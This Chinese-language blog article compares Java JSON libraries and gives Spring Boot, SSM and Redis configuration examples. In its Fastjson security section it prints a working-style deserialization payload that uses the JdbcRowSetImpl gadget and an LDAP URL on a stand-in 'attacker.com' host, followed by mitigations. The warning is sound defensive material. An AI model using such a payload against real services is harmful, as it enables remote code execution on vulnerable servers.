Java JSON库选型指南:从Spring Boot默认配置到SSM深度定制

287 阅读2分钟

Java JSON库选型指南:从Spring Boot默认配置到SSM深度定制

一、主流JSON库性能与特性对比

1.1 常用JSON库基准测试(基于JMH)

库名称序列化速度 (ops/ms)反序列化速度 (ops/ms)内存占用 (MB)
Jackson125,34298,76512.3
Fastjson145,230112,34514.1
Gson89,45675,43210.8
JSON-lib23,45618,76518.9

测试数据基于商品对象(含15个字段)百万次操作平均值

1.2 各库特性分析

graph TD
    A[JSON库] --> B[Jackson]
    A --> C[Fastjson]
    A --> D[Gson]
    A --> E[其他]
    
    B --> F[Spring Boot默认]
    B --> G[注解支持完善]
    C --> H[性能最佳]
    C --> I[安全漏洞历史]
    D --> J[配置简单]
    D --> K[类型推断灵活]

二、问题库避坑指南

2.1 Fastjson安全警示

// 反序列化漏洞示例(CVE-2022-25845)
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exp\",\"autoCommit\":true}";
Object obj = JSON.parse(payload); // 触发远程代码执行

规避方案

  1. 升级到最新版本(>= 1.2.83)
  2. 关闭autoType功能
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

2.2 JSON-lib的致命缺陷

  • XML转换依赖导致冲突
  • 日期处理存在时区问题
  • 2013年后停止维护

三、Spring Boot默认配置解析

3.1 自动配置原理

// 关键自动配置类
@ConditionalOnClass(ObjectMapper.class)
@AutoConfigureBefore(HttpMessageConvertersAutoConfiguration.class)
public class JacksonAutoConfiguration {
    @Bean
    @Primary
    public ObjectMapper jacksonObjectMapper(Jackson2ObjectMapperBuilder builder) {
        return builder.createXmlMapper(false).build();
    }
}

3.2 自定义Jackson配置

# application.yml
spring:
  jackson:
    date-format: yyyy-MM-dd HH:mm:ss
    time-zone: Asia/Shanghai
    serialization:
      WRITE_DATES_AS_TIMESTAMPS: false
    default-property-inclusion: non_null

四、SSM框架深度配置指南

4.1 配置Jackson消息转换器

<!-- springmvc.xml -->
<mvc:annotation-driven>
    <mvc:message-converters>
        <bean class="org.springframework.http.converter.json.MappingJackson2HttpMessageConverter">
            <property name="objectMapper">
                <bean class="com.fasterxml.jackson.databind.ObjectMapper">
                    <property name="dateFormat">
                        <bean class="java.text.SimpleDateFormat">
                            <constructor-arg value="yyyy-MM-dd HH:mm:ss"/>
                        </bean>
                    </property>
                </bean>
            </property>
        </bean>
    </mvc:message-converters>
</mvc:annotation-driven>

4.2 配置Gson替代方案

@Configuration
@EnableWebMvc
public class WebConfig implements WebMvcConfigurer {
    
    @Override
    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {
        GsonHttpMessageConverter gsonConverter = new GsonHttpMessageConverter();
        gsonConverter.setGson(new GsonBuilder()
                .setDateFormat("yyyy-MM-dd")
                .create());
        converters.add(gsonConverter);
    }
}

五、Redis集成最佳实践

5.1 配置Jackson序列化器

@Configuration
public class RedisConfig {
    
    @Bean
    public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) {
        RedisTemplate<String, Object> template = new RedisTemplate<>();
        template.setConnectionFactory(factory);
        
        Jackson2JsonRedisSerializer<Object> serializer = new Jackson2JsonRedisSerializer<>(Object.class);
        serializer.setObjectMapper(new ObjectMapper()
                .registerModule(new JavaTimeModule())
                .disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS));
        
        template.setKeySerializer(new StringRedisSerializer());
        template.setValueSerializer(serializer);
        return template;
    }
}

5.2 购物车对象序列化示例

public class CartItem implements Serializable {
    @JsonFormat(pattern="yyyy-MM-dd HH:mm:ss")
    private LocalDateTime addTime;
    @JsonProperty("sku_id") // 自定义字段名
    private String skuId;
    // 其他字段...
}

// 使用示例
cartService.addToCart(userId, item);
String json = objectMapper.writeValueAsString(item);
redisTemplate.opsForValue().set(cartKey, json);

六、选型建议与升级策略

6.1 不同场景推荐方案

场景推荐方案理由
新Spring Boot项目Jackson官方支持,生态完善
高性能要求Fastjson 2.x速度优势,安全改进
安卓开发Gson无依赖冲突,体积小
遗留系统维护JSON-lib → 迁移逐步替换为Jackson

6.2 版本升级检查清单

  1. Fastjson升级后测试autoType相关功能
  2. Jackson升级注意模块化变化(如JavaTimeModule)
  3. Gson升级验证类型适配器兼容性
  4. 全量回归测试日期格式、空值处理等边界情况

总结:JSON库的哲学之道

  1. 稳定压倒一切:生产环境优先选择经过验证的库(如Jackson)
  2. 安全无小事:定期扫描依赖,及时更新漏洞版本
  3. 性能不是唯一:在开发效率、可维护性间寻找平衡
  4. 统一即效率:全项目应规范使用同一套序列化方案

示例项目配置参考:

// 安全推荐组合
implementation 'com.fasterxml.jackson.core:jackson-databind:2.15.2'
implementation 'com.fasterxml.jackson.datatype:jackson-datatype-jsr310:2.15.2'